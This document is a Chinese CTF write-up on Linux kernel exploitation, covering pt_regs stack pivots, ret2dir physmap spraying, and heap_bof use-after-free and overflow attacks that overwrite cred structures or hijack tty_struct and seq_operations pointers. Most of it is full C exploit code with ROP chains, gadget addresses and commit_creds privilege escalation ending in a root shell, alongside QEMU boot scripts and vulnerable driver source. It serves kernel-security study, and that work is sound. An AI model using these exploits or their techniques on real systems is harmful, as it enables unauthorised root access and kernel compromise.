与我们触发劫持内核执行流时的栈间偏移值不再是固定值:
1 2 3 4 5 6 7 8 9 10 11 12 @@ -38,6 +38,7 @@ #ifdef CONFIG_X86_64 __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs) { + add_random_kstack_offset(); nr = syscall_enter_from_user_mode(regs, nr); instrumentation_begin();
当然,若是在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下,仍然可以通过布置一些 slide gadget
来继续完成利用,不过稳定性也大幅下降了。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0 ;size_t commit_creds = 0xFFFFFFFF8109C8E0 ;size_t init_cred = 0xFFFFFFFF8223D1A0 ;size_t pop_rdi_ret = 0xffffffff81000b2f ;size_t add_rsp_0xe8_ret = 0xffffffff816bb966 ;size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA ;int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds += offset; prepare_kernel_cred += offset; init_cred += offset; pop_rdi_ret += offset; add_rsp_0xe8_ret += offset; swapgs_restore_regs_and_return_to_usermode += offset; break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } int main () { rebase(); core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Failed to open core." ); exit (-1 ); } size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[64 ] = canary; *(size_t *) &buf[80 ] = add_rsp_0xe8_ret; core_write(buf, sizeof (buf)); __asm__( "mov r15, pop_rdi_ret;" "mov r14, init_cred;" "mov r13, commit_creds;" "mov r12, swapgs_restore_regs_and_return_to_usermode+0x8;" "mov rbp, 0x5555555555555555;" "mov rbx, 0x6666666666666666;" "mov r11, 0x7777777777777777;" "mov r10, 0x8888888888888888;" "mov r9, 0x9999999999999999;" "mov r8, 0xaaaaaaaaaaaaaaaa;" "mov rax, 0x10;" "mov rdx, 0xffffffffffff0058;" "mov rsi, 0x6677889A;" "mov rdi, core_fd;" "syscall" ); system("/bin/sh" ); return 0 ; }
执行 add_rsp_0xc8_pop*4_ret
时栈布局,rsp抬高0xc8+0x20
后 ret 会执行到我们的 shellcode
。
ret2dir 如果 ptregs
所在的内存被修改了导致最多只能控制 16 字节的内存我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt 查看。
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文 。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用。
利用思路 这题主要思路如下:
使用 mmap 喷射大量内存,并在里面写上rop链。
将try_hit的地址传给rbp,再利用leave;ret
进行栈迁移。
完成栈迁移,执行提权代码。
返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode
函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到 swapgs_restore_regs_and_return_to_usermode + 27;
,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0 ;size_t commit_creds = 0xFFFFFFFF8109C8E0 ;size_t init_cred = 0xFFFFFFFF8223D1A0 ;size_t pop_rdi_ret = 0xffffffff81000b2f ;size_t add_rsp_0xe8_ret = 0xffffffff816bb966 ;size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA ;size_t retn = 0xFFFFFFFF81003E15 ;size_t pop_rbp_ret = 0xFFFFFFFF812D71EF ;size_t leave_ret = 0xFFFFFFFF81037384 ;const size_t try_hit = 0xffff880000000000 +0x7000000 ;size_t user_cs, user_rflags, user_sp, user_ss;size_t page_size;int core_fd;void core_read (char *buf) { ioctl(core_fd, 0x6677889B , buf); } void set_off (size_t off) { ioctl(core_fd, 0x6677889C , off); } void core_write (char *buf, size_t len) { write(core_fd, buf, len); } void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_shell () { system("/bin/sh" ); } size_t get_canary () { set_off(64 ); char buf[64 ]; core_read(buf); return *(size_t *) buf; } void rebase () { FILE *kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[-] Failed to open kallsyms.\n" ); exit (-1 ); } char name[0x50 ], type[0x10 ]; size_t addr; while (fscanf (kallsyms_fd, "%llx%s%s" , &addr, type, name)) { size_t offset = -1 ; if (!strcmp (name, "commit_creds" )) { offset = addr - (size_t ) commit_creds; } else if (!strcmp (name, "prepare_kernel_cred" )) { offset = addr - (size_t ) prepare_kernel_cred; } if (offset != -1 ) { printf ("[*] offset: %p\n" , offset); commit_creds += offset; prepare_kernel_cred += offset; init_cred += offset; pop_rdi_ret += offset; add_rsp_0xe8_ret += offset; swapgs_restore_regs_and_return_to_usermode += offset; pop_rbp_ret += offset; leave_ret += offset; retn += offset; break ; } } printf ("[*] commit_creds: %p\n" , (size_t ) commit_creds); printf ("[*] prepare_kernel_cred: %p\n" , (size_t ) prepare_kernel_cred); } void physmap () { core_fd = open("/proc/core" , O_RDWR); if (core_fd < 0 ) { puts ("[-] Error: open core" ); } page_size = sysconf(_SC_PAGESIZE); printf ("[*] page_size %llx" , &page_size); size_t *rop = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); int idx = 0 ; while (idx < (page_size / 8 - 0x30 )) { rop[idx++] = add_rsp_0xe8_ret; } for (; idx < (page_size / 8 - 0xb ); idx++) { rop[idx] = retn; } rop[idx++] = pop_rdi_ret; rop[idx++] = init_cred; rop[idx++] = commit_creds; rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16 ; rop[idx++] = 0x0000000000000000 ; rop[idx++] = 0x0000000000000000 ; rop[idx++] = (size_t ) get_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss; puts ("[*] Spraying physmap..." ); for (int i = 1 ; i < 15000 ; i++) { size_t *page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); memcpy (page, rop, page_size); } puts ("[*] trigger physmap one_gadget..." ); } int main () { rebase(); save_status(); physmap(); size_t canary = get_canary(); printf ("[*] canary: %p\n" , canary); char buf[0x100 ]; memset (buf, 'a' , sizeof (buf)); *(size_t *) &buf[0x40 ] = canary; *(size_t *) &buf[0x50 ] = add_rsp_0xe8_ret; core_write(buf, sizeof (buf)); __asm__( "mov r15, pop_rbp_ret;" "mov r14, try_hit;" "mov r13, leave_ret;" "mov rax, 0x10;" "mov rdx, 0xffffffffffff0058;" "mov rsi, 0x6677889A;" "mov rdi, core_fd;" "syscall" ); return 0 ; }
RetSpill 利用思路 exp MINI-LCTF2022 - kgadget 题目分析 启动脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot
没有开kaslr所以有了函数地址。但是开启了smep和smap保护,所以就不能ret2usr了,注意kvm64默认开启kpti保护(当然-append也写了)所以最后返回用户态时要进行页表切换。
写了一个字符驱动程序,其他函数都没啥用,就不放出来了。就 kgadget-ioctl或者函数有用,该函数会直接调用我们传入的地址处的函数。
kgadget_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 .text.unlikely:00000000000000F3 ; __int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param) .text.unlikely:00000000000000F3 kgadget_ioctl proc near ; DATA XREF: __mcount_loc:0000000000000653↓o .text.unlikely:00000000000000F3 ; .data:kgadget_fo↓o .text.unlikely:00000000000000F3 .text.unlikely:00000000000000F3 regs_addr = qword ptr -20h .text.unlikely:00000000000000F3 .text.unlikely:00000000000000F3 __file = rdi ; file * .text.unlikely:00000000000000F3 cmd = rsi ; unsigned int .text.unlikely:00000000000000F3 param = rdx ; unsigned __int64 .text.unlikely:00000000000000F3 call __fentry__ ; PIC mode .text.unlikely:00000000000000F8 push rbp .text.unlikely:00000000000000F9 mov rbp, rsp .text.unlikely:00000000000000FC push rbx .text.unlikely:00000000000000FD sub rsp, 10h .text.unlikely:0000000000000101 mov rax, gs:28h .text.unlikely:000000000000010A mov [rbp-10h], rax .text.unlikely:000000000000010E xor eax, eax .text.unlikely:0000000000000110 cmp esi, 1BF52h; if esi == 114514 jmp loc_1a3 .text.unlikely:0000000000000116 jnz loc_1A3 .text.unlikely:000000000000011C mov rbx, [param]; arg3 -> rbx .text.unlikely:000000000000011F kgadget_ptr = rbx ; void (*)(void) .text.unlikely:000000000000011F mov __file, offset unk_370 .text.unlikely:0000000000000126 mov cmd, kgadget_ptr .text.unlikely:0000000000000129 call printk ; PIC mode .text.unlikely:000000000000012E mov rdi, offset unk_3A0 .text.unlikely:0000000000000135 call printk ; PIC mode .text.unlikely:000000000000013A mov [rbp-18h], rsp .text.unlikely:000000000000013E mov rax, [rbp-18h] ; rsp -> rax .text.unlikely:0000000000000142 mov rdi, offset unk_3F8 .text.unlikely:0000000000000149 add rax, 1000h .text.unlikely:000000000000014F and rax, 0FFFFFFFFFFFFF000h ; rax -> kstack_end .text.unlikely:0000000000000155 lea rdx, [rax-0A8h] .text.unlikely:000000000000015C mov [rbp-18h], rdx .text.unlikely:0000000000000160 regs = rdx ; pt_regs * .text.unlikely:0000000000000160 mov regs, 3361626E74747261h .text.unlikely:000000000000016A mov [rax-0A8h], rdx; 3361626E74747261h -> pt_regs .text.unlikely:0000000000000171 mov [rax-0A0h], rdx .text.unlikely:0000000000000178 mov [rax-98h], rdx .text.unlikely:000000000000017F mov [rax-90h], rdx .text.unlikely:0000000000000186 mov [rax-88h], rdx .text.unlikely:000000000000018D mov [rax-80h], rdx .text.unlikely:0000000000000191 mov [rax-70h], rdx .text.unlikely:0000000000000195 call printk ; PIC mode .text.unlikely:000000000000019A call __x86_indirect_thunk_rbx ;PIC mode ;call rbx .text.unlikely:000000000000019F xor eax, eax .text.unlikely:00000000000001A1 jmp short loc_1B3 .text.unlikely:00000000000001A3 ; --------------------------------------------------------------------------- .text.unlikely:00000000000001A3 .text.unlikely:00000000000001A3 loc_1A3: ; CODE XREF: kgadget_ioctl+23↑j .text.unlikely:00000000000001A3 __file = rdi ; file * .text.unlikely:00000000000001A3 cmd = rsi ; unsigned int .text.unlikely:00000000000001A3 param = rdx ; unsigned __int64 .text.unlikely:00000000000001A3 mov __file, offset unk_420 .text.unlikely:00000000000001AA call printk ; PIC mode .text.unlikely:00000000000001AF or rax, 0FFFFFFFFFFFFFFFFh .text.unlikely:00000000000001B3 .text.unlikely:00000000000001B3 loc_1B3: ; CODE XREF: kgadget_ioctl+AE↑j .text.unlikely:00000000000001B3 mov rcx, [rbp-10h] .text.unlikely:00000000000001B7 xor rcx, gs:28h .text.unlikely:00000000000001C0 jz short loc_1C7 .text.unlikely:00000000000001C2 call __stack_chk_fail ; PIC mode .text.unlikely:00000000000001C7 ; --------------------------------------------------------------------------- .text.unlikely:00000000000001C7 .text.unlikely:00000000000001C7 loc_1C7: ; CODE XREF: kgadget_ioctl+CD↑j .text.unlikely:00000000000001C7 pop rdx .text.unlikely:00000000000001C8 pop rcx .text.unlikely:00000000000001C9 pop rbx .text.unlikely:00000000000001CA pop rbp .text.unlikely:00000000000001CB retn .text.unlikely:00000000000001CB kgadget_ioctl endp
不过根据输出他提示信息, pt_regs 中只有 r8 和 r9 寄存器可以使用,寄存器还有 r11 和 rcx 的值没有被覆盖,但调试时发现其也会被覆盖。
利用思路 这题主要思路如下:
使用 mmap 喷射大量内存,并在里面写上rop链。
将try_hit的地址传给rdx寄存器,利用kgadget_ioctl去call rbx。
完成栈迁移,执行提权代码。
返回用户空间在使用 swapgs_restore_regs_and_return_to_usermode
函数时应该注意,前面 pop 完寄存器之后除 iretq 需要的寄存器还剩 orig_rax 和 rdi ,为了缩短 rop 的长度,可以直接 retn 到 swapgs_restore_regs_and_return_to_usermode + 27;
,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> const size_t try_hit = 0xffff888000000000 + 0x7000000 ;size_t user_cs, user_rflags, user_sp, user_ss;size_t page_size;int dev_fd;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_shell () { system("/bin/sh" ); } int main () { save_status(); dev_fd = open("/dev/kgadget" , O_RDWR); if (dev_fd < 0 ) { puts ("[-] Error: open kgadget" ); } page_size = sysconf(_SC_PAGESIZE); size_t *rop = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); int idx = 0 ; while (idx < (page_size / 8 - 0x30 )) { rop[idx++] = 0xffffffff810737fe ; } for (; idx < (page_size / 8 - 11 ); idx++) { rop[idx] = 0xffffffff8108c6f1 ; } rop[idx++] = 0xffffffff8108c6f0 ; rop[idx++] = 0xffffffff82a6b700 ; rop[idx++] = 0xffffffff810c92e0 ; rop[idx++] = 0xffffffff81c00fb0 + 27 ; rop[idx++] = 0x0000000000000000 ; rop[idx++] = 0x0000000000000000 ; rop[idx++] = (size_t ) get_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss; puts ("[*] Spraying physmap..." ); for (int i = 1 ; i < 15000 ; i++) { sigset_t *page = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); memcpy (page, rop, page_size); } puts ("[*] trigger physmap one_gadget..." ); __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0xffffffff811483d0;" "mov r8, try_hit;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, try_hit;" "mov rsi, 0x1bf52;" "mov rdi, dev_fd;" "syscall" ); return 0 ; }
流程:
在我们rop处下断点,发现执行到我们喷射的gadget处时,r8(pop rsp)距离rsp有0xa0大小,找到add rsp,0xa0;;;;ret
样式的 gadget即可将栈迁移到我们用于提权的 gadget 处。
(1)利用kgadget_ioctl和pt_regs保留的r8-r9完成栈迁移。
(2)栈不断抬高,执行get_root。
内核堆利用 heap_bof 题目分析 题目给了源码,存在UAF
和heap overflow
两种漏洞。内核版本为4.4.27
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 #include <asm/uaccess.h> #include <linux/cdev.h> #include <linux/device.h> #include <linux/fs.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/types.h> struct class *bof_class ;struct cdev cdev ;int bof_major = 256 ;char *ptr[40 ];struct param { size_t len; char *buf; unsigned long idx; }; long bof_ioctl (struct file *filp, unsigned int cmd, unsigned long arg) { struct param p_arg ; copy_from_user(&p_arg, (void *) arg, sizeof (struct param)); long retval = 0 ; switch (cmd) { case 9 : copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len); printk("copy_to_user: 0x%lx\n" , *(long *) ptr[p_arg.idx]); break ; case 8 : copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len); break ; case 7 : kfree(ptr[p_arg.idx]); printk("free: 0x%p\n" , ptr[p_arg.idx]); break ; case 5 : ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL); printk("alloc: 0x%p, size: %2lx\n" , ptr[p_arg.idx], p_arg.len); break ; default : retval = -1 ; break ; } return retval; } static const struct file_operations bof_fops = { .owner = THIS_MODULE, .unlocked_ioctl = bof_ioctl, }; static int bof_init (void ) { dev_t devno = MKDEV(bof_major, 0 ); int result; if (bof_major) result = register_chrdev_region(devno, 1 , "bof" ); else { result = alloc_chrdev_region(&devno, 0 , 1 , "bof" ); bof_major = MAJOR(devno); } printk("bof_major /dev/bof: %d\n" , bof_major); if (result < 0 ) return result; bof_class = class_create(THIS_MODULE, "bof" ); device_create(bof_class, NULL , devno, NULL , "bof" ); cdev_init(&cdev, &bof_fops); cdev.owner = THIS_MODULE; cdev_add(&cdev, devno, 1 ); return 0 ; } static void bof_exit (void ) { cdev_del(&cdev); device_destroy(bof_class, MKDEV(bof_major, 0 )); class_destroy(bof_class); unregister_chrdev_region(MKDEV(bof_major, 0 ), 1 ); printk("bof exit success\n" ); } MODULE_AUTHOR("exp_ttt" ); MODULE_LICENSE("GPL" ); module_init(bof_init); module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep
和smap
。
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.cpio \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \ -monitor /dev/null \ -smp cores=2,threads=2 \ -cpu kvm64,+smep,+smap \
Use After Free 利用思路 cred
结构体大小为 0xa8
,根据 slub
分配机制,如果申请和释放大小为 0xa8
(实际为 0xc0
)的内存块,此时再开一个线程,则该线程的 cred
结构题正是刚才释放掉的内存块。利用 UAF
漏洞修改 cred
就可以实现提权。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/wait.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 struct param { size_t len; char *buf; unsigned long idx; }; int main () { int fd = open("dev/bof" , O_RDWR); struct param p = {0xa8 , malloc (0xa8 ), 1 }; ioctl(fd, BOF_MALLOC, &p); ioctl(fd, BOF_FREE, &p); int pid = fork(); if (pid < 0 ) { puts ("[-]fork error" ); return -1 ; } if (pid == 0 ) { p.buf = malloc (p.len = 0x30 ); memset (p.buf, 0 , p.len); ioctl(fd, BOF_EDIT, &p); if (getuid() == 0 ) { puts ("[+]root success" ); system("/bin/sh" ); } else { puts ("[-]root failed" ); } } else { wait(NULL ); } close(fd); return 0 ; }
但是此种方法在较新版本 kernel
中已不可行,我们已无法直接分配到 cred_jar
中的 object
,这是因为 cred_jar
在创建时设置了 SLAB_ACCOUNT
标记,在 CONFIG_MEMCG_KMEM=y
时(默认开启)cred_jar
不会再与相同大小的 kmalloc-192
进行合并。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL ); } void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL ); }
Overflow 溢出修改 cred
,和前面 UAF 修改 cred
一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0
大小的obj
,因为我们 freelist
中存在很多之前使用又被释放的 obj
导致的 obj
乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
多申请几个0xa8
大小的内存块,将原有混乱的freelist
变为地址连续的 freelist
。
利用堆溢出,修改被重新申请作为cred
的ptr[5]
凭证区为0
。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/wait.h> struct param { size_t len; char *buf; long long idx; }; const int BOF_NUM = 10 ;int main (void ) { int bof_fd = open("/dev/bof" , O_RDWR); if (bof_fd == -1 ) { puts ("[-] Failed to open bof device." ); exit (-1 ); } struct param p = {0xa8 , malloc (0xa8 ), 0 }; for (int i = 0 ; i < 0x40 ; i++) { ioctl(bof_fd, 5 , &p); } puts ("[*] clear heap done" ); for (p.idx = 0 ; p.idx < BOF_NUM; p.idx++) { ioctl(bof_fd, 5 , &p); } p.idx = 5 ; ioctl(bof_fd, 7 , &p); int pid = fork(); if (pid < 0 ) { puts ("[-] fork error" ); exit (-1 ); } p.idx = 4 , p.len = 0xc0 + 0x30 ; memset (p.buf, 0 , p.len); ioctl(bof_fd, 8 , &p); if (!pid) { size_t uid = getuid(); printf ("[*] uid: %zx\n" , uid); if (!uid) { puts ("[+] root success" ); system("/bin/sh" ); } else { puts ("[-] root fail" ); } } else { wait(0 ); } return 0 ; }
tty_struct 劫持 boot.sh
这道题gadget
较少,我们就关了smep
保护。
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \ -monitor /dev/null \ -s \ -cpu kvm64 \ -smp cores=1,threads=1 \ --nographic
利用思路 在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,
1 2 3 ptmx_open (drivers/tty/pty.c) -> tty_init_dev (drivers/tty/tty_io.c) -> alloc_tty_struct (drivers/tty/tty_io.c)
tty
的结构体 tty_srtuct
定义在 linux/tty.h
中。其中 ops
项(64bit
下位于 结构体偏移 0x18
处)指向一个存放 tty
相关操作函数的函数指针的结构体 tty_operations
。其魔数为0x5401
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #define TTY_MAGIC 0x5401 struct tty_struct { ... const struct tty_operations *ops ; ... } struct tty_operations { ... int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); ... };
使用 tty
设备的前提是挂载了 ptmx
设备。
1 2 3 mkdir /dev/pts mount -t devpts none /dev/pts chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops
的某个可触发的操作即可,将其劫持到 get_root
函数处。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #include <sys/wait.h> #include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340 ;size_t init_cred = 0xFFFFFFFF81E496C0 ;void get_shell () { system("/bin/sh" ); } unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t ) get_shell;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_rsp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } size_t kernel_offset;void get_root () { __asm__( "mov rbx, [rsp + 8];" "mov kernel_offset, rbx;" ); kernel_offset -= 0xffffffff814f604f ; commit_creds = (void *) ((size_t ) commit_creds + kernel_offset); init_cred = (void *) ((size_t ) init_cred + kernel_offset); commit_creds(init_cred); __asm__( "swapgs;" "push user_ss;" "push user_rsp;" "push user_rflags;" "push user_cs;" "push user_rip;" "iretq;" ); } struct param { size_t len; char *buf; long long idx; }; int main (int argc, char const *argv[]) { save_status(); size_t fake_tty_ops[] = { 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , get_root }; struct param p = {0x2e0 , malloc (0x2e0 ), 0 }; printf ("[*]p_addr==>%p\n" , &p); int bof_fd = open("/dev/bof" , O_RDWR); p.len = 0x2e0 ; ioctl(bof_fd, BOF_MALLOC, &p); memset (p.buf, '\xff' , 0x2e0 ); ioctl(bof_fd, BOF_EDIT, &p); ioctl(bof_fd, BOF_FREE, &p); int ptmx_fd = open("/dev/ptmx" , O_RDWR); p.len = 0x20 ; ioctl(bof_fd, BOF_READ, &p); printf ("[*]magic_code==> %p -- %p\n" , &p.buf[0 ], *(size_t *)&p.buf[0 ]); printf ("[*]tty____ops==> %p -- %p\n" , &p.buf[0x18 ], *(size_t *)&p.buf[0x18 ]); *(size_t *)&p.buf[0x18 ] = &fake_tty_ops; ioctl(bof_fd, BOF_EDIT, &p); ioctl(ptmx_fd, 0 , 0 ); return 0 ; }
seq_operations 劫持 boot.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash qemu-system-x86_64 \ -initrd rootfs.img \ -kernel bzImage \ -m 512M \ -nographic \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \ -monitor /dev/null \ -s \ -cpu kvm64 \ -smp cores=1,threads=1 \ --nographic
利用思路 seq_operations
结构如下,该结构在打开 /proc/self/stat
时从 kmalloc-32
中分配。
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
调用读取 stat
文件时会调用 seq_operations
的 start
函数指针。
1 2 3 4 5 6 ssize_t seq_read (struct file *file, char __user *buf, size_t size, loff_t *ppos) { struct seq_file *m = file->private_data; ... p = m->op->start(m, &pos); ...
当我们在 heap_bof
驱动分配 0x20
大小的 object
后打开大量的 stat
文件就有很大概率在 heap_bof
分配的 object
的溢出范围内存在 seq_operations
结构体。由于这道题关闭了 SMEP
,SMAP
和 KPTI
保护,因此我们可以覆盖 start
函数指针为用户空间的提权代码实现提权。至于 KASLR
可以通过泄露栈上的数据绕过。
